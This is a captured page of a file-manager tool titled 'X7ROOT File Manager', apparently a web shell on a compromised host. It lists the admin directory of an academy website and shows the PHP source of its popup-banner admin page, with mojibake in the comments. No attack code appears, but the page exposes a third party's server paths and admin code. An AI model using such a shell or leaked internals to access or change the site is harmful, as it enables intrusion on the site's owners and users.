X7ROOT File Manager
Current Path:
/home/u126090504/domains/shreeganeshacademy.in/public_html/admin
home
/
u126090504
/
domains
/
shreeganeshacademy.in
/
public_html
/
admin
/
๐
..
๐
achievers.php
(13.81 KB)
๐
admissions.php
(5.67 KB)
๐
banners.php
(7.18 KB)
๐
change_password.php
(3.54 KB)
๐
contacts.php
(3.83 KB)
๐
dashboard.php
(9.86 KB)
๐
downloads.php
(4.91 KB)
๐
export_franchise.php
(930 B)
๐
faculty.php
(13.27 KB)
๐
forgot_password.php
(6.52 KB)
๐
franchise.php
(7.28 KB)
๐
gallery.php
(3.08 KB)
๐
governing-body-manage.php
(9.12 KB)
๐
grievance-update.php
(1003 B)
๐
grievance-view.php
(5.32 KB)
๐
grievances.php
(5.79 KB)
๐
includes
๐
index.php
(82 B)
๐
login.php
(6.59 KB)
๐
logout.php
(102 B)
๐
manage_albums.php
(2.28 KB)
๐
manage_media.php
(3.02 KB)
๐
manage_photos.php
(5.66 KB)
๐
manage_videos.php
(3.62 KB)
๐
new_password.php
(3.9 KB)
๐
notice.php
(16.36 KB)
๐
notices.php
(8.24 KB)
๐
payments.php
(15.23 KB)
๐
phpmailer
๐
popup.php
(10.68 KB)
๐
reset_password.php
(2.27 KB)
๐
secure_session.php
(1000 B)
๐
settings.php
(5.21 KB)
๐
submit-grievance.php
(4.97 KB)
๐
testimonials.php
(10.25 KB)
๐
update_status.php
(1.29 KB)
๐
upi_settings.php
(1.52 KB)
Editing: popup.php
<?php include 'secure_session.php'; // ๐ Always first (session security) include 'includes/auth.php'; // โ Your authentication check require_once '../config.php'; // โ DB connection include 'includes/header.php'; // โ Layout header $allowedTypes = ['jpg','jpeg','png']; $maxSize = 2 * 1024 * 1024; $success = $error = ""; // โ Add Popup if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['add_popup'])) { $link = trim($_POST['link']); $start_date = $_POST['start_date'] ?: NULL; $end_date = $_POST['end_date'] ?: NULL; $image = ''; if (!empty($_FILES['image']['name'])) { $targetDir = __DIR__ . "/../uploads/popup/"; if (!is_dir($targetDir)) mkdir($targetDir, 0755, true); $ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION)); if (!in_array($ext, $allowedTypes)) { $error = "โ Only JPG/PNG allowed."; } elseif ($_FILES['image']['size'] > $maxSize) { $error = "โ File too large (max 2MB)."; } else { $safeName = time() . "_" . bin2hex(random_bytes(5)) . "." . $ext; $targetFile = $targetDir . $safeName; if (move_uploaded_file($_FILES['image']['tmp_name'], $targetFile)) { $image = $safeName; } } } if (!$error && $image) { // เคชเคนเคฒเฅ เคธเคพเคฐเฅ inactive เคเคฐเฅ $conn->query("UPDATE popup_banner SET status=0"); $stmt = $conn->prepare("INSERT INTO popup_banner (image, link, start_date, end_date, status) VALUES (?,?,?,?,1)"); $stmt->bind_param("ssss", $image, $link, $start_date, $end_date); $stmt->execute(); $success = "โ Popup added successfully (old popups inactive)."; } } // โ Edit Popup if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_popup'])) { $id = intval($_POST['id']); $link = trim($_POST['link']); $start_date = $_POST['start_date'] ?: NULL; $end_date = $_POST['end_date'] ?: NULL; $photo = ''; if (!empty($_FILES['image']['name'])) { $targetDir = __DIR__ . "/../uploads/popup/"; if (!is_dir($targetDir)) mkdir($targetDir, 0755, true); $ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION)); if (!in_array($ext, $allowedTypes)) { $error = "โ Only JPG/PNG allowed."; } elseif ($_FILES['image']['size'] > $maxSize) { $error = "โ File too large (max 2MB)."; } else { $safeName = time() . "_" . bin2hex(random_bytes(5)) . "." . $ext; $targetFile = $targetDir . $safeName; if (move_uploaded_file($_FILES['image']['tmp_name'], $targetFile)) { $photo = $safeName; // เคชเฅเคฐเคพเคจเฅ เคซเฅเคเฅ delete $stmt = $conn->prepare("SELECT image FROM popup_banner WHERE id=?"); $stmt->bind_param("i", $id); $stmt->execute(); $stmt->bind_result($oldFile); $stmt->fetch(); $stmt->close(); if ($oldFile && file_exists(__DIR__."/../uploads/popup/".$oldFile)) { unlink(__DIR__."/../uploads/popup/".$oldFile); } } } } if (!$error) { if ($photo) { $stmt = $conn->prepare("UPDATE popup_banner SET link=?, start_date=?, end_date=?, image=? WHERE id=?"); $stmt->bind_param("ssssi", $link, $start_date, $end_date, $photo, $id); } else { $stmt = $conn->prepare("UPDATE popup_banner SET link=?, start_date=?, end_date=? WHERE id=?"); $stmt->bind_param("sssi", $link, $start_date, $end_date, $id); } $stmt->execute(); $success = "โ Popup updated successfully."; } } // โ Delete Popup if (isset($_GET['delete'])) { $id = intval($_GET['delete']); $stmt = $conn->prepare("SELECT image FROM popup_banner WHERE id=?"); $stmt->bind_param("i", $id); $stmt->execute(); $stmt->bind_result($oldFile); $stmt->fetch(); $stmt->close(); if ($oldFile && file_exists(__DIR__."/../uploads/popup/".$oldFile)) { unlink(__DIR__."/../uploads/popup/".$oldFile); } $stmt = $conn->prepare("DELETE FROM popup_banner WHERE id=?"); $stmt->bind_param("i", $id); $stmt->execute(); $success = "โ ๏ธ Popup deleted."; } // โ Toggle Status if (isset($_GET['toggle'])) { $id = intval($_GET['toggle']); $action = $_GET['action'] ?? 'activate'; if ($action === 'activate') { $conn->query("UPDATE popup_banner SET status=0"); $stmt = $conn->prepare("UPDATE popup_banner SET status=1 WHERE id=?"); $stmt->bind_param("i", $id); $stmt->execute(); $success = "โ Popup activated."; } elseif ($action === 'deactivate') { $stmt = $conn->prepare("UPDATE popup_banner SET status=0 WHERE id=?"); $stmt->bind_param("i", $id); $stmt->execute(); $success = "โ ๏ธ Popup deactivated."; } } ?> <div class="container mt-4"> <h3>๐ผ Manage Popup Banner</h3> <?php if ($success): ?><div class="alert alert-success"><?php echo $success; ?></div><?php endif; ?> <?php if ($error): ?><div class="alert alert-danger"><?php echo $error; ?></div><?php endif; ?> <!-- Add Popup --> <div class="card mb-4"> <div class="card-header">โ Add New Popup</div> <div class="card-body"> <form method="POST" enctype="multipart/form-data"> <div class="form-group"><label>Link</label><input type="text" name="link" class="form-control"></div> <div class="form-group"><label>Image</label><input type="file" name="image" class="form-control" required></div> <div class="form-group"><label>Start Date</label><input type="date" name="start_date" class="form-control"></div> <div class="form-group"><label>End Date</label><input type="date" name="end_date" class="form-control"></div> <button type="submit" name="add_popup" class="btn btn-primary">Add Popup</button> </form> </div> </div> <!-- List Popups --> <div class="table-responsive"> <table class="table table-bordered text-center"> <thead class="thead-dark"> <tr><th>ID</th><th>Image</th><th>Link</th><th>Start</th><th>End</th><th>Status</th><th>Actions</th></tr> </thead> <tbody> <?php $res = $conn->query("SELECT * FROM popup_banner ORDER BY id DESC"); if ($res->num_rows > 0) { while ($row = $res->fetch_assoc()) { $id = $row['id']; $img = "<img src='../uploads/popup/".htmlspecialchars($row['image'])."' width='100'>"; // โ Toggle Switch $statusSwitch = ' <label class="switch"> <input type="checkbox" '.($row['status'] ? 'checked' : '').' onchange="window.location.href=\'?toggle='.$id.'&action='.( $row['status'] ? 'deactivate' : 'activate').'\'"> <span class="slider"></span> </label>'; echo "<tr> <td>{$id}</td> <td>{$img}</td> <td>".htmlspecialchars($row['link'])."</td> <td>{$row['start_date']}</td> <td>{$row['end_date']}</td> <td>{$statusSwitch}</td> <td> <button class='btn btn-warning btn-sm' data-toggle='modal' data-target='#editModal{$id}'>Edit</button> <a href='?delete={$id}' class='btn btn-danger btn-sm' onclick='return confirm(\"Delete this popup?\")'>Delete</a> </td> </tr>"; // Edit Modal echo " <div class='modal fade' id='editModal{$id}' tabindex='-1'> <div class='modal-dialog'> <div class='modal-content'> <div class='modal-header'> <h5 class='modal-title'>Edit Popup</h5> <button type='button' class='close' data-dismiss='modal'>×</button> </div> <div class='modal-body'> <form method='POST' enctype='multipart/form-data'> <input type='hidden' name='id' value='{$id}'> <div class='form-group'><label>Link</label><input type='text' name='link' class='form-control' value='".htmlspecialchars($row['link'])."'></div> <div class='form-group'><label>Start Date</label><input type='date' name='start_date' class='form-control' value='{$row['start_date']}'></div> <div class='form-group'><label>End Date</label><input type='date' name='end_date' class='form-control' value='{$row['end_date']}'></div> <div class='form-group'><label>Change Image</label><input type='file' name='image' class='form-control'></div> <button type='submit' name='edit_popup' class='btn btn-success'>Update</button> </form> </div> </div> </div> </div>"; } } else { echo "<tr><td colspan='7'>No Popups Found</td></tr>"; } ?> </tbody> </table> </div> </div> <!-- โ Switch CSS --> <style> .switch { position: relative; display: inline-block; width: 50px; height: 26px; } .switch input {display:none;} .slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background-color: #ccc; transition: .4s; border-radius: 26px; } .slider:before { position: absolute; content: ""; height: 20px; width: 20px; left: 3px; bottom: 3px; background-color: white; transition: .4s; border-radius: 50%; } input:checked + .slider { background-color: #28a745; } input:checked + .slider:before { transform: translateX(24px); } </style> <?php include 'includes/footer.php'; ?>
Upload File
Create Folder